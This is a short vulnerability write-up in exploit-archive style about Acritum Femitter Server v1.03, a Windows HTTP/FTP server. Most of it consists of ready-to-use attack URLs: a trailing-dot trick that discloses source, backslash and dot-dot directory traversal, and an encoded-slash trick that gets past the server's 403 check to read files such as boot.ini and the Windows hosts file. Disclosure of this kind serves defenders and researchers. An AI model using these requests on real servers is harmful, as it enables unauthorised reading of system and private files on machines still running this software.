Acritum Femitter Server v1.03 is a HTTP and FTP Server for Windows.  
I came up with few vulnerabilities of this .. some vulns are already has been revelied but some are not   
so lets have a look   
  
  
*********************************************************************************************************************************  
HTTP Server  
-----------  
  
In the Femitter Server Application HTTP tab there are few options to choose, and vulnerability exploitation method will depends on it  
  
If the "Combined Server" is selected [Default Setting]  
----------------------------------------------------  
--== Source Disclosure Vulnerability==--  
even some files like .html will able to download from this vulnerability  
just put "." in the end of the file  
  
[+] http://192.168.1.101/index.htm.   
  
  
--==Directory Traversal Vulnerability==--  
If the Femitter Server is installed in "Programe File" this will take you to the C Dir  
  
C: Dir  
------  
[+] http://192.168.1.101/..\../..\  
  
You can move in to dir by doing "../..\"  
  
but you won't be able to open the files there will be 403 Forbidden Error(still). this is a lame security option in the Femitter Server   
  
  
  
*********************************************************************************************************************************  
  
Bypassing 403 Forbidden Error  
-----------------------------  
This is lame a security option . This can be easily bypass with hex . lets see how its done  
This c0de will give you permission to download anyfile   
[+] http://192.168.1.101/\\..%2f..%2f..%2f..%2fboot.ini  
  
but if you wana open it in the browser you can add a "%<file.type> in the end  
--==403 Bypass Example==--  
  
[+] http://192.168.1.101/\\..%2f..%2f..%2f..%2fboot.ini%test.txt  
[+] http://192.168.1.101/\\..%2f..%2f..%2f..%2fwindows/system32/drivers/etc/hosts%test.txt  
  
********************************************************************************************************************************  
  
If the "Web Server (to show default doctument or 404 if it doesn't exsist" option is selected  
---------------------------------------------------------------------------------------------  
  
If this option is activated you might have trouble viewing the directory  
but still you will be able to see the file and download them   
  
  
[+] http://192.168.1.101/\\..%2f..%2f..%2f..%2fboot.ini%test.txt  
  
and also this will open it as a readable file on the browser  
  
[+] http://192.168.1.101/\\..%2f..%2f..%2f..%2fboot.ini% ../  
  
  
pluse you can use the above application to view unreadable files like .dll .exe .  
files like .dll .exe will not be open with %text.txt .. this doesnt make sense right  
eventho .dll .exe is not readable this vulnerability can be quite usefull sometime ..  
  
********************************************************************************************************************************
